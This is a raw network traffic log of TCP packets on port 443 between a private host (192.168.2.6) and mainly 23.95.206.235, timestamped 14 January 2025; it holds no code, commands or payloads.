Jan 14, 2025 15:56:14.398096085 CET	49945	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:14.398164034 CET	443	49945	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:14.398269892 CET	49945	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:14.443332911 CET	443	49945	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:14.617810965 CET	443	49945	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:14.617897034 CET	49945	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:14.617922068 CET	443	49945	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:14.619113922 CET	443	49945	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:14.619183064 CET	49945	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:14.640214920 CET	49945	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:14.640269995 CET	443	49945	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:14.647574902 CET	49950	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:14.647602081 CET	443	49950	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:14.647964001 CET	49950	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:14.648509979 CET	49950	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:14.648524046 CET	443	49950	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:15.124774933 CET	443	49950	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:15.125083923 CET	49950	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:15.125099897 CET	443	49950	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:15.125453949 CET	443	49950	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:15.126013041 CET	49950	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:15.126085043 CET	443	49950	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:15.126346111 CET	49950	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:15.126377106 CET	443	49950	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:15.631221056 CET	443	49950	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:15.631246090 CET	443	49950	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:15.631266117 CET	443	49950	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:15.631292105 CET	49950	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:15.631335020 CET	443	49950	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:15.631376028 CET	49950	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:15.631385088 CET	49950	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:15.707998991 CET	443	49950	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:15.708101034 CET	443	49950	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:15.708185911 CET	49950	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:15.708260059 CET	49950	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:15.709084988 CET	49950	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:15.709109068 CET	443	49950	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:15.737946033 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:15.737988949 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:15.738054991 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:15.739207029 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:15.739222050 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.243834972 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.244235992 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.244252920 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.244606972 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.244934082 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.244997025 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.245146036 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.245172977 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.638670921 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.638710976 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.638771057 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.638792038 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.638849020 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.638916016 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.638916016 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.638947964 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.638958931 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.638997078 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.639003038 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.639033079 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.639086962 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.639897108 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.639936924 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.639982939 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.639991999 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.640038967 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.731240988 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.731271982 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.731328964 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.731329918 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.731350899 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.731405973 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.731442928 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.731543064 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.732141972 CET	49955	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.732156038 CET	443	49955	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.778359890 CET	49969	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.778398037 CET	443	49969	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.779090881 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.779125929 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.779150009 CET	49969	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.779179096 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.782278061 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.782290936 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.782558918 CET	49969	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.782583952 CET	443	49969	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.787875891 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.787914991 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:16.788134098 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.788320065 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:16.788332939 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.254568100 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.257873058 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.257888079 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.258359909 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.287062883 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.289900064 CET	443	49969	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.301373959 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.341773987 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.345693111 CET	49969	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.473026037 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.473149061 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.473263979 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.473273039 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.473400116 CET	49969	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.473406076 CET	443	49969	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.474375963 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.474390030 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.474437952 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.474881887 CET	443	49969	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.508244991 CET	49969	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.508542061 CET	443	49969	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.518214941 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.518239975 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.527003050 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.527087927 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.530847073 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.530893087 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.531330109 CET	49969	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.531371117 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.531379938 CET	443	49969	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.531388998 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.577152967 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.794315100 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.794344902 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.794356108 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.794384003 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.794399023 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.794413090 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.794420958 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.794431925 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.794461966 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.794516087 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.866092920 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.867063046 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.867069960 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.867130041 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.867141962 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.868294954 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.868325949 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.868334055 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.868349075 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.868354082 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.868403912 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.953171015 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.953181982 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.953212976 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.953243971 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.953248978 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.953293085 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.953306913 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.953355074 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.953875065 CET	49971	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.953886986 CET	443	49971	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.987262964 CET	443	49969	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.987339020 CET	49969	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.988754988 CET	443	49969	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.988822937 CET	443	49969	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.988872051 CET	49969	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.989716053 CET	49969	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.989733934 CET	443	49969	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.989743948 CET	49969	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.989788055 CET	49969	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.992475986 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.992502928 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.992510080 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.992536068 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.992536068 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.992546082 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.992558002 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:17.992594004 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:17.992619038 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.018856049 CET	49979	443	192.168.2.6	13.107.253.44
Jan 14, 2025 15:56:18.018886089 CET	443	49979	13.107.253.44	192.168.2.6
Jan 14, 2025 15:56:18.019053936 CET	49979	443	192.168.2.6	13.107.253.44
Jan 14, 2025 15:56:18.023488998 CET	49979	443	192.168.2.6	13.107.253.44
Jan 14, 2025 15:56:18.023514032 CET	443	49979	13.107.253.44	192.168.2.6
Jan 14, 2025 15:56:18.079085112 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.079103947 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.079123020 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.079173088 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.079186916 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.079232931 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.154925108 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.154957056 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.154999971 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.155045033 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.155056953 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.155090094 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.155106068 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.155144930 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.158116102 CET	49970	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.158132076 CET	443	49970	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.173613071 CET	49983	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.173646927 CET	443	49983	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.173711061 CET	49983	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.174160957 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.174173117 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.174288988 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.174474001 CET	49983	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.174488068 CET	443	49983	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.174741030 CET	49985	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.174782991 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.175004005 CET	49985	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.175012112 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.175025940 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.175174952 CET	49985	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.175184965 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.674906969 CET	443	49983	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.675409079 CET	49983	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.675426006 CET	443	49983	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.675813913 CET	443	49983	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.676289082 CET	49983	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.676350117 CET	443	49983	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.676542044 CET	49983	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.676563025 CET	443	49983	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.691886902 CET	443	49979	13.107.253.44	192.168.2.6
Jan 14, 2025 15:56:18.692413092 CET	49979	443	192.168.2.6	13.107.253.44
Jan 14, 2025 15:56:18.692429066 CET	443	49979	13.107.253.44	192.168.2.6
Jan 14, 2025 15:56:18.693713903 CET	443	49979	13.107.253.44	192.168.2.6
Jan 14, 2025 15:56:18.693800926 CET	49979	443	192.168.2.6	13.107.253.44
Jan 14, 2025 15:56:18.693969965 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.694308996 CET	49985	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.694329977 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.694547892 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.694874048 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.694883108 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.695076942 CET	49979	443	192.168.2.6	13.107.253.44
Jan 14, 2025 15:56:18.695149899 CET	443	49979	13.107.253.44	192.168.2.6
Jan 14, 2025 15:56:18.695257902 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.695373058 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.695439100 CET	49985	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.695553064 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.695605993 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.695835114 CET	49985	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.695904016 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.696018934 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.696039915 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.696171999 CET	49985	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.696192026 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.747071981 CET	49979	443	192.168.2.6	13.107.253.44
Jan 14, 2025 15:56:18.747117996 CET	443	49979	13.107.253.44	192.168.2.6
Jan 14, 2025 15:56:18.747162104 CET	49985	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.797554016 CET	49979	443	192.168.2.6	13.107.253.44
Jan 14, 2025 15:56:18.914504051 CET	443	49983	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.914535999 CET	443	49983	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.914575100 CET	443	49983	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.914673090 CET	49983	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.914688110 CET	443	49983	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.914717913 CET	49983	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.914748907 CET	49983	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.924541950 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.924572945 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.924587011 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.924688101 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.924699068 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.924719095 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.924752951 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.926527023 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.926544905 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.926642895 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.926650047 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.929797888 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.968122005 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.979686022 CET	443	49983	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.979752064 CET	49983	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.979760885 CET	443	49983	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.979819059 CET	443	49983	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.979861975 CET	49983	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.980375051 CET	49983	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.980390072 CET	443	49983	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:18.983433962 CET	49985	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:18.983443022 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.012496948 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.012568951 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.012665987 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.012696981 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.012717009 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.012739897 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.014442921 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.014460087 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.014523983 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.014529943 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.014569044 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.016540051 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.016554117 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.016630888 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.016637087 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.016684055 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.019771099 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.019785881 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.019821882 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.019833088 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.019841909 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.019874096 CET	49985	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.019889116 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.019912958 CET	49985	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.019921064 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.019931078 CET	49985	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.019958973 CET	49985	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.020464897 CET	49985	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.020479918 CET	443	49985	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.024785042 CET	49993	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.024833918 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.025094986 CET	49993	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.025207043 CET	49993	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.025223970 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.033390045 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.033410072 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.033503056 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.033514023 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.033576965 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.100863934 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.100894928 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.100960970 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.100980043 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.101010084 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.101030111 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.102124929 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.102149010 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.102202892 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.102207899 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.102232933 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.102256060 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.104438066 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.104513884 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.104535103 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.104542971 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.104574919 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.104592085 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.105547905 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.105592012 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.105627060 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.105632067 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.105674982 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.107467890 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.107517004 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.107552052 CET	49984	443	192.168.2.6	23.95.206.235
